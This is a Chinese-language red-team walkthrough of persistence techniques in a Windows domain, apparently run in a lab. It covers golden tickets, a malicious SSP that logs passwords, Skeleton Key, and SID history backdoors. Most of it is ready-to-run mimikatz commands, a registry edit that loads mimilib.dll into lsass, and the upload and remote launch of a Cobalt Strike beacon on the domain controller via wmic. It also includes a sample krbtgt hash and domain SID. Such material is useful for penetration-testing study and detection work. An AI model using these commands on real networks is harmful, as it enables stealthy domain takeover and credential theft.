域内权限维持

前置,windows域内认证机制

https://payloads.online/archivers/2018-11-30/1

https://www.cnblogs.com/backlion/p/8127868.html

https://www.cnblogs.com/xiaoxiaosen/p/13535868.html

http://www.vuln.cn/6816

https://xz.aliyun.com/t/7432

一下内容来源于刘师傅的(我仅作演示和部分理解):

https://note.youdao.com/ynoteshare1/index.html?id=a9b800169e5c24dc57110e35e3cb7d90&type=note

/01 PTT

一,黄金票据伪造原理

AS确认Client端登录者用户身份

KDC返回的Msg B:使用 TGS密钥(KDCHASH/KRBTGT用户NTLMHASH) 加密的TGT(Ticket-Granting-Ticket), 当我们获取到krbtgt用户的NTLM哈希后,便可主动使用krbtgt用户的NTLM哈希做为TGS密钥来生成TGT发送给 KDC,这样KDC如果通过解密伪造TGT获取到伪造的 [CLIENT/TGS SESSIONKEY] 可以成功解密 Authenticator 1 并完成与TGT中的数据进行比对,便成功骗过了KDC,也就是成功伪造了黄金票据

二, 黄金票据伪造条件

制作金票的条件:

  1. 域名称

  2. 域的SID值

  3. 域的KRBTGT账户密码HASH

  4. 伪造用户名,可以是任意的

三,利用步骤

1.获得域名

1
cmd > whoami

image-20210102201745211

2.获得域内SID

1
cmd > whoami /all

S-1-5-21-2756371121-2868759905-3853650604-500

image-20210102201929983

3.域krbtgt账户ntlm hash或aes-256值

尽量在cs操作,msf有bug呀QWQ

image-20210102222648424

image-20210102222738197

82dfc71b72a11ef37d663047bc2088fb

4.清理是所有票据

1
mimikatz kerberos::purge

image-20210102223628874

5.mimikatz伪造指定用户的票据并注入内存

image-20210102223015420

image-20210102223105268

image-20210102223257632

6.查看票据

1
mimikatz kerberos::list

image-20210102223726181

7.得到域控shell

上传文件CS又bug了QWQ就是msf吧

1
upload /home/parrot/beacon.exe C://windows/beacon.exe

image-20210102225824757

1
shell copy C:\\windows\\beacon.exe \\10.10.10.10\c$

image-20210102230631098

image-20210102230653147

1
shell wmic /authority:"kerberos:de1ay.com\DC" /node:"DC" process call create "cmd /c c:\beacon.exe"

别问问就拒绝访问

image-20210102231259846

手动启动后

image-20210102231600101

1
connect 10.10.10.10

image-20210103155358109

四,另外一种利用

CS上操作:

1
mimikatz kerberos::purge

image-20210103155733195

1
mimikatz kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604-500 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:golden.kirbi

image-20210103154803675

1
mimikatz kerberos::ptt golden.kirbi

通过mimikatz中的kerberos::ptt功能(Pass The Ticket)将golden.kiribi导入内存中

image-20210103155229547

1
mimikatz kerberos::list

image-20210103155247373

/02 SSP

一,SSP介绍

SSP(security Support Provider),一个用于身份验证的 dll,系统在启动时 SSP 会被加载到 lsass.exe 进程中,由 于 lsa 可扩展,导致在系统启动时我们可以加载一个自定义的 dll,一个用于记录所有登录到当前系统的明文账号密 码的 dll, 利用mimikatz 中mimilib.dll 文件。

将mimikatz中的mimilib.dll 放到系统的C:\Windows\system32目录下(DLL的位数需要与windows位数相同), 并将mimilib.dll添加到注册表中,使用此方法即使系统重启,也不会影响到持久化的效果

二,利用

1
copy mimilib.dll %systemroot%\system32

image-20210103160317982

1
2
3
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"

reg add “hklm\system\currentcontrolset\control\lsa\” /v “Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib.dll" /t REG_MULTI_SZ

image-20210103160419371

计算机重启后,如果有用户成功登录到当前系统中,会在 C:\windows\system32 目录下生成一个用于记录登账账号密码的 kiwissp.log 文件

image-20210103160848316

image-20210103160907735

  • Memory Updating of SSPs

使用mimikatz将伪造的SSP注入内存,这样做不会在系统中留下二进制文件,但如果域控制器重启,被注入内存的伪造的SSP将会丢失

1
2
3
mimikatz privilege::debug
mimikatz misc::memssp
mimikatz type C:\Windows\System32\mimilsa.log

/03 Skeleton Key

Skeleton Key是一种不需要域控重启即能生效的维持域控权限方法。 Skeleton Key被安装在64位的域控服务器上,支持Windows Server2003—Windows Server2012 R2,能够让所有域用户使用同 一个万能密码进行登录,现有的所有域用户使用原密码仍能继续登录,注意并不能更改用户权限,重启后失效。

在域控安装Skeleton Key:

1
mimikatz privilege::debug

image-20210103165529987

1
mimikatz misc::skeleton

如果不在域控服务器执行会报错

image-20210103170028307

域控执行

image-20210103170840121

域内主机使用Skeleton Key登录域控,mimikatz的默认Skeleton Key设置为mimikatz Skeleton Key只是给所有账户添加了一个万能密码,无法修改账户的权限

1
net use \\DC.de1ay.com mimikatz /user:administrator@de1ay.com

image-20210103170908224

/04 SID history

一,SID

每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。

SID History是在域迁移过程中需要使用的一个属性。

如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能 访问本来可以访问的资源。

SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁 移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。

使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限,则可 以将SID History作为实现持久化的方法。

二,Mimikatz添加后门

1
privilege::debug
1
sid::patch
1
sid::add /sam:ming /new:administrator

卡死了QWQ,环境原因卡死在(sid::add /sam:ming /new:administrator)一运行机器卡死导致无法亲手测试啥你不信贴图啥

image-20210103180749182

可以使用

三,PowerShell查看SID

PowerShell查看ming用户的SID History,

1
Import-Module ActiveDirectory
1
Get-ADUser ming -Properties sidhistory

添加成功应该是这样的,这里因为运行,那原有账号测试

image-20210103182038297

四,验证

验证域用户ming是否有具有administrator权限:

1
2
whoami
dir \\DC.de1ay.com\c$